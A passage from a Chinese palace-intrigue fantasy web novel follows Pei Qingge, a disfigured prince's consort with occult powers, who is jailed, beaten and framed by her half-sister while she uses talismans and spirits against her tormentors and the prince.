裴玲珑哭得梨花带雨,就连裴清歌一个女人看了都忍不住动了恻隐之心。 乍一听她像是在给裴夫人求情,可细细揣摩,她这哪是想要白锦夜去救裴夫人?分明是在拱火! 哪一句话不是想要置裴夫人于死地? 白锦夜看着泪如雨下的裴玲珑,又瞥了一眼慢慢地喝着茶仿佛事不关己的裴清歌,不知道的,还以为裴玲珑才是裴夫人的亲生女儿呢! 没听到白锦夜说话,裴玲珑小心翼翼地抬眸看了一眼,却见他瞥着裴清歌,眼神里带着几丝轻蔑。 她当下转身看向裴清歌,双腿一弯,就跪在地上,“姐姐,这事情多少都是因你而起,你快回去跟爹爹认个错吧,难道你真的要眼睁睁地看着母亲被爹爹打死么?” 白锦夜眸中闪过一抹心疼,从榻上下来,伸手扶起裴玲珑,“不必跪她,有的人自私到极致,心里便只有自己,其他人死活又怎么会在意?” 裴玲珑虚靠在白锦夜的胸口,不停地啜泣着,“王爷,我求求你,只要能救母亲,让我做什么都行。” 想到刚才裴清歌跟自己讲条件,而如今裴玲珑却如此委屈自己,白锦夜微微眯了眯眼,抬眼看向带裴玲珑进来的嬷嬷,“去裴府传个话,就说此事本王会亲自处理,让裴元帅不要为难裴夫人。” “是。”嬷嬷应了一声,有些鄙夷地看了裴清歌一眼,不知道王爷是倒了什么大霉,让这样没心没肺不仁不孝的女人占了便宜当了王妃! “王爷。”裴玲珑又拉住白锦夜的衣袖,“就算爹爹这会不会为难母亲,以如今的情况看,府上的下人也不会尽心伺候母亲了,能不能……把母亲接到王府?让王府的府医来给母亲治伤,这样我也能好好照顾母亲。” 裴清歌的眼底闪过一抹笑意,还真以为裴玲珑是关心裴夫人呢,原来不过是借着这个理由,自己也跟着一起住到王府来。 不过此刻她也没必要拆穿,裴夫人真的来了王府,于她到是件好事。 白锦夜略微思索了片刻,点头应了下来,吩咐嬷嬷照办。 “王爷,你对我真好。”裴玲珑感激地看着白锦夜,但又像是突然想起什么,迅速的收回手,后退了几步,脸上带着几丝苦笑,“王爷,刚刚我救母心切,忘了……你我已没有婚约,如今你是我的姐夫了,我不该僭越。” 说完又赶紧看向裴清歌,“姐姐,你不会怪我吧?我只是一时情急,以后我会注意的。” 看着裴玲珑小心翼翼地眼神,白锦夜心里不知是多憋屈,明明她才应该是王妃,可如今却要处处看着裴清歌的脸色! 再想着裴清歌处处目中无人的态度,一阵怒意冲上心头! “你就在王府踏踏实实的照顾裴夫人,不必在意不相干的人!”白锦夜说着冷冷地瞥向裴清歌,“若有人敢在本王眼皮子底下欺负你,本王绝不饶她!” 裴清歌放下茶杯,“王爷不愿意看见我,那正好现在玲珑姑娘可以照顾你,我就不打扰了。”说完,她站起身,不紧不慢地掸了掸衣襟上的褶皱,转身向外面走。 白锦夜看着她不咸不淡的样子,心中怒意难消,“裴清歌夜会外男,来人,把她关入地牢!” 裴清歌转身诧异地看着他,“你疯了吧?我什么时候夜会外男了?” “哦?”白锦夜挑了挑眉,“高嬷嬷的干儿子可一口咬定是你叫他入府相见呢。” “你!”裴清歌咬了咬牙,看着几个膀大腰圆的婆子已经进了门朝她走过来,想着院里的血煞,不怒反笑,“王爷,那我可就在地牢,等你来求我了。” “求你?”白锦夜眯了眯眸,对着婆子交代,“咱们这位王妃可嘴硬脾气大,你们好好照顾她。” 几个婆子会意,抓着裴清歌的胳膊的时候,手上用了暗劲,死死地掐着她的肉。 裴清歌疼得眼泪差点掉出来,她转头凶狠地瞪了白锦夜一眼,就被婆子拖出了房间。 走到院子,她从袖子里抽出一道符,扔到影壁墙的碎石里。 符纸碰触到碎石,就瞬间化成了灰,被风一吹就散了,仿佛什么都没出现过。 第19章 现在求饶还来得及 地牢的门一打开,潮湿腐败的气息铺面而来。 绿竹嘶哑的声音也断断续续的传过来—— “王爷,奴婢真的没有啊!” “奴婢也不知道那男人是谁,是左总管通知奴婢去桂兰院伺候的!” “王爷,奴婢冤枉,奴婢的心里只有王爷……” “王爷……” 地牢里阴森昏暗,绿竹看不清来人,听到脚步声还以为真的是白锦夜来了,连滚带爬扑到牢门边,才见到进门的是几个婆子。 她眸光瑟缩,想着昨晚这些婆子对她的折磨,吓得躲回角落,缩成一团,不敢出声了。 几个婆子也没理会她,推开旁边的牢门,把裴清歌推了进去。 裴清歌被大力推倒在地上,膝盖磕在湿冷的石板上,疼得她倒吸一口凉气。 一个婆子从墙上取下带着倒刺的鞭子,“好好的裴家小姐不当,非要来王府找罪受,落在我们手上,那可就得好好成全你了!” “也不撒泡尿照照自己这张脸,给王爷擦鞋都不配,还妄想做王妃?” 婆子说着挥动了一下鞭子,破空声传来,裴清歌甚至闻到了隐隐的血腥味,这鞭子之下,不知道有多少枉死的冤魂! 她转身坐在地上,仰头看着那婆子,“你最近可觉得肩颈僵疼、身子发沉、精神不振?” 婆子微怔了一下,虽然裴清歌说的症状她确实是有,但她此刻也不愿理会,“怪不得王爷说你嘴硬脾气大,这会不想着求饶,还有心思说这些?” “求饶?”裴清歌冷笑,“恐怕求饶的会是你!” 婆子不再说话,扬起鞭子就往裴清歌的身上打。 裴清歌看也没看那鞭子,反倒是对着婆子的上方动了动嘴唇。 婆子见她嘴唇开开合合,却没听到声音,还以为她见自己来真的吓得不会说话了,手腕也更加用力! 只是鞭子还没落下去,婆子就感觉肩上巨沉无比,像是被什么重重地压住,她整个人一下子就扑倒在地上。 裴清歌站起身,后退了几步,抱着肩膀看着趴在地上的婆子,“现在求饶还来得及。” 婆子趴在地上挣扎着想要爬起来,可就像是有什么压在她身上,她怎么都没办法从地上爬起来。 她恼怒地转头看向另外两个婆子,“傻愣着干什么?还不赶紧把我扶起来?” 那两个婆子上前,一人拉住她一条胳膊,使上了吃奶的劲,也没办法把她从地上拽起来半分。 “裴清歌,你个小贱人,你对我做了什么?”婆子破口大骂,“等我起来不弄死你!” “我可碰都没碰你,你别诬赖我。”裴清歌轻笑,“这位骑在你脖子上的荷香姑娘说,她死的好惨,一个人又冷又怕,想让你去作伴呢。” 听到荷香的名字,婆子的脸色一下子变得惨白,“你……少胡说八道,再敢提荷香,我撕烂你的嘴!” “是么?”裴清歌随意地挥了挥手,一阵鬼哭狼嚎在婆子的耳边炸响。 这阴森森的声音从耳朵钻入,就像是扎在了她的心上,让她心悸不止。 她的脸色瞬间铁青,一股尿骚味也跟着传来,裴清歌抬手在鼻子前面扇了扇,“这怎么听到荷香这个名字给你吓成这样啊?到底是做了什么对不起人家的事?” 婆子趴在地上,身前是冰凉的石板,身后虽然什么都没有,但却不断有刺骨的寒意传来。 她的心脏狂跳,像是感觉到了什么,慢慢地转头向后看去。 蓦地,一张七窍流血的脸鼻子对鼻子地贴在了她的眼前! 婆子惨叫一声,一翻白眼,晕死过去。 另外两个婆子根本不知道发生了什么,只是见她明明要去打裴清歌,却自己跌倒在地,怎么都爬不起来,又尿了裤子,最后还莫名其妙地晕了过去。 面面相觑间,一阵阴风吹过,两个婆子的汗毛都竖了起来。 再想起这地牢里死过不少人,一刻都不敢多呆,拖起地上的婆子锁上牢门就赶紧走了。 裴清歌拍了拍手,“这王府的腌臜事,可真不少。” 婆子们走了,绿竹的身体才停止瑟瑟发抖,抬眼恨恨地看向裴清歌,“是不是你害我?王爷一直都待我很好,你一定是嫉妒我!你嫉妒王爷宠爱我!”她说着朝这边的牢房扑过来,胳膊从空隙伸过来就要抓裴清歌。 裴清歌站得远,眯眼打量着下半身都是血污的绿竹,既然给她冠上“私通外男”的罪名,那些婆子就绝对不会手软。 看她伤的程度,人也多半是废了。 白锦夜也明知道绿竹是皇后的棋子而已,以这样残忍的手段对一个身不由己的女人,简直令人发指! 不过想着绿竹之前对桑榆的心狠手辣,裴清歌也懒得同情她,转身走到离她最远的角落,整理了些干草,盘腿坐好。 这地牢之中,阴气鼎盛,倒是锁魂玉笛最喜欢的环境。 正是温养锁魂玉笛的好机会! “裴清歌,皇后若是知道你这样害我,她一定不会放过你的!” “你这个贱人!丑八怪!死瘸子!” “水性杨花的荡妇!你不得好死!” “皇后一定会为我做主的!” “王爷是绝对不会看上你的!你就死了做王妃的心吧!” “……” 绿竹靠在栏杆上,不停地咒骂着。 裴清歌懒得理会一个将死之人,她得养精蓄锐,晚上可还有一场大戏呢。 * 一道寒光逼近,楚星玄猛地睁开眼睛,抬手抓住陆绝的手腕,“陆神医,想杀我,这样恐怕不行吧?” 陆绝不说话,只是抓着手里的匕首,想要用力地往楚星玄的心口刺去。 楚星玄手上用力,可陆绝像是不知道疼痛一般,他知道陆绝是没有武功的,常人在这种情况,早就松手扔了匕首,陆绝现在的状况显然不对。 他眯眼看着陆绝直愣的目光,顿了顿,翻过他的手腕,看着他手腕上方一寸处的红痕,“血煞?肃亲王府里竟然还有这东西……” 楚星玄抬手在匕首上轻轻割破手指,用自己的血覆过红痕。 陆绝的身体晃了晃,又眨了眨眼,茫然地看着楚星玄,“你要干什么?” 楚星玄松开手,“陆神医,张太妃的事我现在帮不了什么忙,但这血煞我还是能解的。血煞一旦苏醒,可没那么长时间给你们考虑。” “不想王府的人都死于非命,就答应我的条件。” “我来解决血煞,你们立刻派人护送我去月城!” 陆绝还没明白楚星玄说的是什么,外面就开始吵吵嚷嚷起来,他跑到窗边推开窗,听到有人边往这边跑边大喊—— “陆神医,陆神医,王爷疯了!要杀了左总管和玲珑姑娘,你快来看看吧!” 第20章 是哪个脑子让猪拱了的人做出这种事? 陆绝往外走了两步,又想起什么。 他刚才仿佛也是失去了神智,并不知道发生了什么,要不是楚星玄,他这会大概还没醒过来。 可能白锦夜的情况跟他也差不多。 他转身看向楚星玄,“你跟我一起过去,别耍花样,能不能送你去月城要王爷做主,但你中的毒,只有我有解药。” 楚星玄微微点头,跟着陆绝一起出了门。 他当然知道陆绝在他身上下的毒,这毒有些奇特,陆绝会定期给他解药缓解,他也研究过,但始终不知道是什么毒。 不然,这王府可关不住他。 到了九思院,看着院子里的一片狼藉,楚星玄的瞳孔微缩,他快步上前,从地上捡起一块碎石,“这些石头是哪来的?” 只是根本没人回答他这个问题,院子里,一队侍卫护着裴玲珑,左辞和白锦夜打在一起。 按说左辞不是白锦夜的对手,但白锦夜最近受伤,多少占了下风。 陆绝皱起眉,左辞出招凌厉,一点都不像只是想要单纯地挡着白锦夜,显然但凡白锦夜一着不慎,就会被左辞取了性命,“左辞,住手!” 他大喊了一声,可左辞却一点反应都没有。 一个侍卫跑过来,“陆神医,这也不知道怎么了,王爷和左总管好像什么都听不见。” 陆绝一把抓过还在研究石头的楚星玄,“你不是说你能解决?还不快去?” “他们身中血煞,直接阻止他们很难,但只要破了血煞,他们自然就恢复神智了。”楚星玄开口道,“你先去叫人准备朱砂,把这院子里的碎石都覆盖起来。” “快去!”陆绝对着侍卫命令,顿了顿又道,“赶紧带着玲珑姑娘去后院,别误伤了她。” 裴玲珑已经吓得脸色惨白,胳膊也受了伤,在侍卫的搀扶下,迅速的离开了。 走到院子门口,她才想起什么,转头看向楚星玄,微微抿了抿唇,快步走了。 * 大牢中的裴清歌蓦地睁开眼睛,低骂一句,是哪个脑子让猪拱了的人把朱砂撒到夜魔石上? 她站起身,走到牢门边,手在锁头上摆弄了会,锁就开了。 听着她出了门,绿竹那边又来了精神,“你敢私自从王府的地牢跑出去?王爷会杀了你的!哈哈哈哈!王爷一定会杀了你的!” 裴清歌转头瞪了状若疯癫的绿竹一眼,快步向九思院跑去。 这会王府已经乱做一团,一开始失去神智的只有白锦夜和左辞,但这会又出现了其他人。 好在总的来说不算多,毕竟有资格去九思院的人本就占少数。 在陆绝的命令下,其余人已经用粗麻绳把失去神智的人都绑了起来,眼下也就只剩下白锦夜和左辞。 裴清歌刚走到门口,就见到在碎石旁边的身影—— 楚星玄?! 他怎么会在这? 她的脚步顿了顿,楚星玄是北冥国暗城城主之子。 暗城并不是一座城,而是一座监牢,暗城城主在北冥国专司刑罚。 自古以来,暗城和圣女就是两股势力,虽然不能说是死对头,但彼此都把对方视作心腹大患。 难道他就是在睢园的那个人? 她只是停了停,就见左辞一剑刺入了白锦夜的肩头,而白锦夜仿佛不知道疼一般,迅速后退,抽离左辞的剑之后,不顾流血的伤口,又迎了上去。 这血煞毕竟是她催动的,万一真有人因此丧命,她难辞其咎。 裴清歌赶紧从楚星玄的身上收回目光,进了院子,“无知也许不会害死人,但不懂装懂,最为致命。” 听到声音,楚星玄和陆绝一起转身看过来。 裴清歌被打入地牢的事,陆绝是知道的,绿竹那边已经暴露了,白锦夜也说了裴清歌不能留,他也不意外,但本应该在大牢里的裴清歌怎么会出现在这里? “夜魔石和朱砂相克,可吸了精血的夜魔石,必须要连续暴晒几日,精血全都晒干才能铺以朱砂。”裴清歌大步走过去。 “你怎么知道?”楚星玄有些诧异地看着裴清歌,夜魔石在北冥国都少见,这个天风国的人怎么会知道? 裴清歌冷哼一声,没有理他。 楚星玄顿了顿,“你就是那个制住张太妃的人?”张太妃那日发狂,他还以为这王府要毁于一旦了,可后来却平息下去,陆绝不肯跟他说什么,如今看来,倒是面前的人无疑了。 裴清歌瞥了他一眼,她在这具身体上重生,这原主的脸都毁了,她也不担心楚星玄认出她来,“是我。” 她说着摸了摸袖子里的锁魂玉笛。 楚星玄在这,她是无论如何都不能用锁魂玉笛了,“陆神医,麻烦你去找一块白布,要足够大,能把这些碎石和朱砂都遮住。” 陆绝多少有些恼火,无论是楚星玄还是裴清歌,都不是他相信的人,可眼下却也没有别的办法,只能摆了摆手,吩咐人去做。 很快白布就准备好,裴清歌割破了手指,在白布的四个角都写下了一道符咒。 最后一笔写完,白锦夜和左辞双双扔下了手里的兵器。 自裴清歌说话开始,楚星玄就知道今晚的事算是解决了,他不再说话,只是站在白布的一个角处,垂眸看着上面的符咒。 这符咒的笔画很是熟悉,他一定见过。 而且这显然也不是天风国的人该知道的东西。 他微微眯了眯眼,目光重新落在裴清歌的身上,这王府里竟然还有这样的人,他突然没有那么急着离开了。 陆绝迅速的上前扶住白锦夜,白锦夜的眼中闪过几丝迷茫,最后落在陆绝的脸上。 陆绝对着他轻轻摇了摇头,他才越过陆绝的肩头,向楚星玄和裴清歌这边看来。 瞬间凤眸微眯,想到今天把裴清歌打入大牢之前,她曾说过的话,一股阴冷的气息从他的身上散发出来,“裴清歌,你干的好事!” 裴清歌正包扎着自己的手指,闻言也朝白锦夜看过来,“真是好心当了驴肝肺,就该看着你死。” “掌嘴!”白锦夜低喝了一声。 身边的几个侍卫微微犹豫,可也不敢违抗白锦夜的命令,迅速的朝裴清歌走过去,抓住了她的胳膊。 “啪!” 一个响亮的巴掌落在她的脸上! 第21章 要是毁容到你这程度,她估计是不活了 裴清歌的脸上登时出现红红的掌印! 第二个巴掌下来的时候,她的面纱也被扯走。 一张毁了容的脸落入楚星玄的眼睛。 他眯了眯眼,在脑海里翻找了半响,也不记得北冥国有过这样一个人。 但她所会的本事,又分明是北冥国所有。 若她真的是北冥国人…… 楚星玄思忖片刻,往前走了一步,“王爷怕是错怪人了,这血煞看起来起码有十年了,那会这位姑娘还是几岁的小孩子,大概弄不出来这东西。” 裴清歌有些诧异地看了楚星玄一眼,没想到这个在北冥国心狠手辣的男人,到了天风国,竟然会说人话了! 虽然他这话显然是欺负白锦夜和陆绝不懂血煞胡编的,但他能帮她说话,实在是让人匪夷所思。 左辞也清醒了过来,眼见着自己伤了白锦夜,“噗通”一声跪在地上,“王爷,这确实跟王妃无关,影壁墙就是王妃让砸的,王妃也说了,暴晒三天之后,她会来处理的,王爷,建这影壁墙的人,属下已经在查了,您可千万别跟王妃置气啊。” 楚星玄眸色微僵,这女子竟然是白锦夜的王妃? 他是遭人暗算,身受重伤,才落在白锦夜的手上。 难道暗算自己的人是白锦夜的王妃? 陆绝抬手按住白锦夜肩头的伤口,低声道,“左右她也跑不掉,明天再处理吧。” 白锦夜没再说话。 陆绝看向左辞,“送王妃和楚公子回去。” 左辞应了一声,赶紧去办。 他去送,自然就不会送裴清歌去地牢了,一直把她送到了梧桐院,才又去送楚星玄。 桑榆赶紧迎了上来,“王妃,你怎么去了这一大天,奴婢担心死了,刚才外面又吵吵闹闹的,有几个在王爷院里伺候的丫鬟跑到咱们门口,打成一团,后来不知道怎么又跑了。” “可能是发了羊癫疯吧。”裴清歌往院子里走,中了血煞的人,杀气重,但肉尸又刚好克制血煞,那几个人是感受到张太妃的气息,所以才没敢进院子。 进了房间有灯光,桑榆才看到裴清歌的脸红肿,“天呐,王妃,是……”她本想问是谁,可想了想,这王府里,除了王爷,还有谁敢打王妃么?于是后半句话又咽了下去,“奴婢去拿药膏。” “不用了,这么晚了,你去睡吧。”裴清歌摆了摆手,反正这脸本来也没法看了,倒不差这两个掌印了。 桑榆心疼得都红了眼睛,“王爷怎么能这下这么狠的手呀?王爷好像跟以前不一样了,他以前连下人都不苛责,怎么会这样呢?” “傻丫头,他堂堂王爷,跟下人置什么气?我这是毁了他的婚事,他心里怨我也正常,快去睡吧。”裴清歌说着进了内室,关了门。 桑榆摸了摸眼泪,默默的去了偏房。 裴清歌躺在床上,还没睡踏实,就听见坐在房间角落的张太妃低吼了一声,她迅速的起身,可还是慢了一步,被人掐住了脖子。 她眯眼看着楚星玄,如果是以前,他根本不可能近她的身,忍不住心里又感叹了下,现在的身体还是太弱了,“那血煞是你弄的?被我看破了,要杀人灭口么?” “我可不屑用那种腌臜的东西害人。”楚星玄嗤了一句。 这确实像他,在暗城的人看来,圣女所会的,几乎都是“邪术”。 “倒也是,你应该也没这样的本事。”裴清歌拧了下眉。 “你是什么人?为什么会北冥国的……术法?”楚星玄开口问。 裴清歌看着他,若是当着圣女的面,他这“邪术”两个字估计就直接说出来了,只不过现在不清楚她的身份,才硬生生地改了口,“这是北冥国的术法?那我还真不知道,我会的,都是我家传的。” 楚星玄眯了眯眼,又问了遍,“你是谁?” “裴大元帅之女,肃亲王妃,裴清歌。”裴清歌嘴角微微勾了一抹笑。 “姓裴?”楚星玄顿了顿才又说,“我倒是也认识一个姓裴的,只不过……她爱脸如命,要是被毁容到你这程度,估计是不会活着了。” 她以前和楚星玄一共也没见过几次,他这话说得,好像很了解她一样。 “只不过,不管你是谁,北冥国术法不外传,我不知道就算了,我知道了,就当你运气不好吧。”楚星玄说着手指微微用力,掐得裴清歌几乎喘不过气。 “术法不外传?可听说北冥国人也不得擅自离境,你好像也违反了国法。”裴清歌看着他,毫不示弱。 “你对北冥国的规矩知道得倒是清楚。”楚星玄轻笑了一声。 “那是,可是你们国君亲口讲给我的。”裴清歌笑道。 “荒谬!” “是不是荒谬,回头你问问他就知道了。”裴清歌说着抬手招了招,张太妃就走了过来,“我不是你的对手,但你也不是她的对手,放开我,不然你就等着喂肉尸吧。” “那就看咱们俩谁先死吧。”楚星玄的手收得更紧,“只要我在一天,就不会看着有人违反国法而无动于衷!” 裴清歌抬手抓住楚星玄的手腕,“那你自己呢?杀了我再自裁?还是……你被我发现了行踪,只要杀了我,就没人知道你离开过北冥国,你只要悄悄的回去,就神不知鬼不觉?” 楚星玄的脸色微微有些古怪,也不打算再跟裴清歌废话。 但这丝古怪却没有逃出裴清歌的眼睛,她仔细地感受了下他的脉搏,蓦地,她突然笑出声,“哈哈哈,楚星玄,你中毒了,看样子你也不是想留在这,你是被抓来的吧?白锦夜为了救他母妃把你抓过来?你可真是能耐了!” 楚星玄看着她,像是想到了什么,放开手后退了一步,“在北冥国,见过我、认识我的人屈指可数,你认识我,就算你不说,就算你这张脸毁了,我也早晚能想起来你是谁。” 说着他又凑近看了看她,“不过你这脸,也不至于没救,不如我们一起治好了你的脸,看看你是谁,嗯?” 第22章 让他去试探裴清歌 裴清歌笑着看着楚星玄,她正愁没药呢,暗城的势力也不用小觑,说不定楚星玄真的能弄到药,“好啊。” 楚星玄后退了一步,“我现在不杀你,但你记得,不准以北冥国的术法害人,不然不管你是谁,追到天涯海角,我都会要你的命。” “放心,我也怕术法反噬,天打雷劈呢。”不得以“山医命相卜”中任何一术害人,这是圣女从小就接受的教导,裴清歌自然不会违背祖训。 楚星玄转身要走,又想起了什么,“上次白锦夜的青丝蛊也是你解的?” 他这么问了,裴清歌也就猜到青丝蛊是他下的,暗城之人精通蛊术,他用这么普通的蛊,想来也不是为了要白锦夜的命,大概是想要以此为要挟,换取他自己所中之毒的解药,“你能医好我的脸,我也可以想办法帮你解毒。” 楚星玄顿了顿,微微点点头,迈步离开了。 裴清歌这才转眼看向张太妃,“看,就连楚星玄这种人渣都懂得什么叫合作,你那儿子偏偏油盐不进,难怪命短哦。” * 第二天一早,一个暗卫就进了九思院,低声向白锦夜汇报昨晚楚星玄去了梧桐院的事。 “继续盯着。”白锦夜挥了挥手,才接过陆绝递过来的药。 “昨夜他又提了送他去月城的事。”陆绝看着他喝完了药,才开口。 “你是说,他也说了院里那是血煞?”白锦夜沉默了会问。 “是。”陆绝点点头,昨晚的事,在他给白锦夜处理伤口的时候,就已经全都讲给他了。 “这种事情,本王以前闻所未闻。”白锦夜抬手以指尖敲了敲桌子。 陆绝犹豫了会,“以前我听我师父提起过,这世上但凡医术用毒一类,都是从北冥国传出来的,而蛊术也是在北冥国盛行,却绝不外传,这些东西他知道也不奇怪,只是裴清歌……” “先不送他走,让他去试探裴清歌。”白锦夜微微眯了眯眼。 * 裴清歌吃了早饭,就去了玲珑阁。 听说这玲珑阁是白锦夜大婚前,特意为裴玲珑改建的,甚至用她的名字来命名。 婚事虽然没成,可如今裴玲珑还是住了进来。 梧桐院里只有她和桑榆两个人冷冷清清,但这玲珑阁热闹多了,她进了院子刚走了两步,就碰上三个婆子和两个丫鬟。 这些人忙忙碌碌的,显然裴玲珑比她更像这王府的女主子。 江嬷嬷站在门口,双手交叠在身前,拉着一张脸,眼睛斜晲着裴清歌,“呦,这是哪来的丑八怪跑到玲珑姑娘的院子?可别吓着咱们玲珑姑娘。” 去路被挡住,裴清歌也就停下了脚步,这江嬷嬷是裴玲珑的奶妈,因着裴玲珑得宠,在裴府她都快把自己当成半个主子了。 以前在裴府的时候,她就没少欺负过原主。 “江嬷嬷,这是王府,可不是裴府。”裴清歌好心提醒。 “王府怎么了?玲珑姑娘可是王爷的心尖宠,你是这京中才女,不会不认识这院子名字叫什么吧?”江嬷嬷嗤笑一声,“识趣的就滚远点,别脏了玲珑阁。” 裴清歌笑得有点无奈,不再理会江嬷嬷,就要往前走。 江嬷嬷横跨了一步拦她,可还没明白怎么回事,手腕和肩上被裴清歌一拽,她整个人就翻倒在地,疼得她顿时大呼,“玲珑姑娘,快救救老奴,裴大小姐这是要打死老奴啊!” 在房间里的裴玲珑其实早就知道裴清歌来了,只不过有江嬷嬷在外面拦着,她也懒得出去看。 这会听到江嬷嬷呼救,她才赶紧出了门。 裴玲珑扫了一眼躺在地上的江嬷嬷,又看向裴清歌,“姐姐,你来看母亲么?快进来吧。”说完才看向江嬷嬷,“你这奴才定是不识好歹,姐姐怎么会无缘无故打人?还不赶紧给姐姐赔罪?” “这又没有外人,就没必要一唱一和的演戏了。”裴清歌一把推开站在门口的裴玲珑,进了房间。 原主的记忆里,在裴府的时候,就经常是江嬷嬷欺负她,裴玲珑再出来教训江嬷嬷,搞得像是原主连个奴才都管不了,是个人就可以骑在原主的头上欺负,最后还要一个庶出的妹妹替她出头。 裴玲珑被推得一个趔趄,狠狠地瞪了裴清歌一眼,又向江嬷嬷使了个眼色,才跟了上去,“姐姐,昨日陆神医和府医都已经来看过了,说母亲伤得太重。”她说着摸了摸泪,“母亲自来了王府就一直在昏迷,到现在都还没醒。” 裴清歌没理她,径直走到床边。 裴夫人被打得板子都伤在后背,只能趴在床上。 她低头查看她的伤势。 “药也喂不进,粥也喂不进。”裴玲珑说着又从桌上端起药碗,半跪在床边,“母亲,你快醒醒吧,吃了药才好得快呀。” 裴夫人不过是受外伤,其实王府的府医治伤就已经足够了,况且又有陆绝,怎么可能到现在还在昏迷? 裴清歌皱了皱眉,抚上裴夫人的脉搏,中了迷药? 她收回手,端过裴玲珑手里的药闻了闻,没见什么异常,又把药碗递了回去。 思索了会,她抬手扯开裴夫人包扎伤口的布条,手指摸了些覆盖在伤口上的药,凑到鼻子下面闻了闻。 看她的动作,裴玲珑的脸色微微变了下,赶紧道,“姐姐,你这是要干什么?这些都是陆神医拿来的上好的金疮药,陆神医说了,伤口暂时不能动的!” “陆绝拿来的药?”裴清歌眯了眯眼。 “姐姐,母亲都是为了你,才会被爹爹下令打成这样,母亲为了不牵连你,已经把所有的事都揽在了自己身上,你怎么能……怎么能因为她没瞒住爹爹,就这么对她?”裴玲珑一边哭着一边指责。 裴清歌拧眉看着她,正想问她发什么疯,就听到外面传来了脚步声。 裴玲珑抬手把一整碗药全都泼在了裴夫人的身上,又猛地把药碗摔在地上,然后猛地大叫起来,“啊——” 第23章 王爷,你的霉运里伴生桃花劫 江嬷嬷抢先一步进了房间,见到房内一片狼藉,像是死了亲娘一样大呼一声扑到裴玲珑的身边,“玲珑姑娘,你没事吧?有没有伤到?” “我没事。”裴玲珑啜泣着推开江嬷嬷的手,从袖子里掏出手帕擦着裴夫人身上的药水,但手帕很快就湿了,她就直接用袖子去擦。 紧接着,陆绝就扶着白锦夜走了进来。 陆绝见状赶紧叫了人擦干裴夫人身上的药水,又重新涂药包扎。 白锦夜的目光在房间里扫过,最后落在裴清歌的身上,宛如利剑般的目光,恨不得在她身上剜下来一块肉。 裴玲珑转头看过来,一脸的委屈无以言表,“王爷……陆神医,你说母亲的伤口不能沾水,现在……现在这可怎么办啊?都怪我,都怪我没端好药碗。” “玲珑姑娘,这怎么能怪你?”江嬷嬷凶狠地瞪着裴清歌,“王爷,分明是大小姐她得知事情败露,怪夫人没有藏好迷药被元帅发现,过来找夫人撒气的。” “玲珑姑娘,你也不能总是帮大小姐说话,你看你……手都烫红了。”江嬷嬷又心疼地拉着裴玲珑的手,低头轻轻吹了吹,“就是因为你从小忍让大小姐,才会让她越来越肆无忌惮,连你的婚事都敢抢!” 裴清歌看着这一主一仆演戏演的这么投入,她甚至都有点不忍心打断了,“你们……” 话还没说出口,她就被人一脚踹在膝窝,双腿一弯,跪在了地上。 地上碎碗的瓷片不偏不倚,扎进了她的膝盖。 裴清歌疼得倒吸一口凉气! “裴清歌,裴夫人生你养你,你竟如此不孝,昨日她才刚险险地捡回了一条命,到今日都还没苏醒,你是想弑母么?!”白锦夜语气凌厉,若是说之前裴清歌是一时鬼迷心窍做了些错事,那她如今所做,便是被五马分尸也不为过! 裴清歌转头看他,只见他面色森然,即便重伤在身,也威严不减。 于别人,他赫赫战功的肃亲王。 于裴清歌,他此刻就像是催命的阎罗! “王爷宁愿相信一个庶女更爱嫡母,也不愿相信我这个亲生女儿不会加害娘亲。”裴清歌冷笑一声,也不妄想白锦夜会相信她,“倒是不知道陆神医给我娘用的是什么金疮药,为什么里面会有迷药?不然我想我娘应该早就醒了。” “你胡说!”陆绝拧眉瞪着裴清歌,“王爷命我给裴夫人治伤,我用的药都是上好的伤药,怎么可能有迷药?” “是不是有迷药,你自己去看看不就知道了?”裴清歌瞥了他一眼。 陆绝走到换下的药布旁边,查看了半响,又去给裴夫人重新诊脉,“裴夫人确实中了迷药,但那药布上没有迷药。” “不可能!”裴清歌说着一把扯过药布。 “大小姐来的时候,怒气冲冲,把老奴打倒在地,还推了玲珑姑娘,玲珑姑娘扶老奴起身的时候,房间里就只有大小姐一个人,说不定……”江嬷嬷说着看了看白锦夜的脸色,后半句也没有再说出来。 裴清歌猛地转头看向裴玲珑和江嬷嬷,她们原来早有预谋! “嬷嬷,你不要乱说。”裴玲珑下意识地看了眼白锦夜,赶紧低声训斥江嬷嬷,“姐姐怎么会给母亲下迷药呢?母亲醒不过来对姐姐有什么好处?说不定……说不定是药房拿错了药。” 白锦夜的双手背在身后,垂眸看着跪在地上的裴清歌。 好处? 裴夫人要是醒不过来,大婚那天的事情,不就死无对证了么? “为了这王妃之位,你竟能做出如此丧心病狂的事情。”白锦夜眯了眯眼,语气凛冽,“来人,把裴清歌拖出去,打三十大板,扔进地牢,裴夫人若是醒不过来,就让她这个好女儿给她陪葬!” “裴靖年纪大了,是非不分,没想到王爷也一样!”裴清歌捏了捏袖子里的锁魂玉笛,“王爷,你别忘了,张太妃还在梧桐院!” “本王南征北战多年,最不怕的,就是被人威胁。”白锦夜冷哼了声,“本王也希望你记得,那些威胁过本王的,最后都成了本王的刀下鬼。拖出去!” “王爷!”裴玲珑闻言赶紧扑过来拉住白锦夜的衣袖,“王爷,你放过姐姐吧,她……她可能只是一时糊涂,都怪我,都怪我没有照顾好母亲,我以后一定小心照顾母亲,王爷,这次就算了吧!” “你少在这演戏了。”裴清歌扫了裴玲珑一眼,又看向白锦夜,“一会高嬷嬷说我跟皇后是一伙的,为了当皇后的眼线才想着法儿的进王府。一会又说是我娘为了我好,帮我抢了裴玲珑的婚事。” “什么证据都没有,脏水倒是不少泼。” “王爷如此黑白不明,偏听偏信,还能南征北战打了不少胜仗,要么是对手太窝囊,要么是上辈子积了大德。” “不过上辈子积的徳总有用完的时候,我看王爷已经开始走霉运了。” 裴清歌说着仔细地看了看白锦夜的眉间,“王爷这霉运里伴生桃花劫,当心被女人催了命。” “姐姐,快别说了,你怎么……怎么能这么诅咒王爷?”裴玲珑听着她的话,脸都吓白了,“赶紧跟王爷认个错吧!” 裴清歌一把推开裴玲珑,“认错?我怕他福气浅薄受不住!” “愣着干什么?要本王亲自动手么?”白锦夜朝门外的婆子冷喝。 几个婆子赶紧进了门,抓住裴清歌往外走。 裴清歌被按在院子的长凳上,婆子拿着板子就往她背后招呼。 她从袖子里摸出锁魂玉笛,吹了一口。 张太妃来得快,但她也还是挨了四五板子。 白锦夜正在安抚裴玲珑,就听院子里传来婆子们的惨叫,他冷眉一竖,怒上心头,几步就朝院子里的裴清歌冲了过去。 只不过刚走了几步,脚步就硬生生地停了下来。 他看着站在裴清歌身前的张太妃。 